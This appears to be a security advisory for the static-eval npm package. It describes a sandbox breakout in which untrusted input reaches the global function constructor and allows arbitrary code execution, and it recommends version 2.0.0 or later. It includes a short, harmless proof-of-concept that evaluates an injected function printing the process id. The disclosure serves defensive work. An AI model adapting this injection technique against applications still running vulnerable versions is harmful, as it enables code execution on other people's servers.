Description
The static-eval module is intended to evaluate statically-analyzable expressions. In affected versions, untrusted user input is able to access the global function constructor, effectively allowing arbitrary code execution.

GitHub AdvisoriesGHSA-5mjw-6jrh-hvfqNo score
Sandbox Breakout / Arbitrary Code Execution in static-eval
Affected versions of static-eval pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.
Proof of concept
var evaluate = require('static-eval');
var parse = require('esprima').parse;
var src = '(function(){console.log(process.pid)})()';
var ast = parse(src).body[0].expression;
var res = evaluate(ast, {});
// Will print the process id
Recommendation
Update to version 2.0.0 or later.
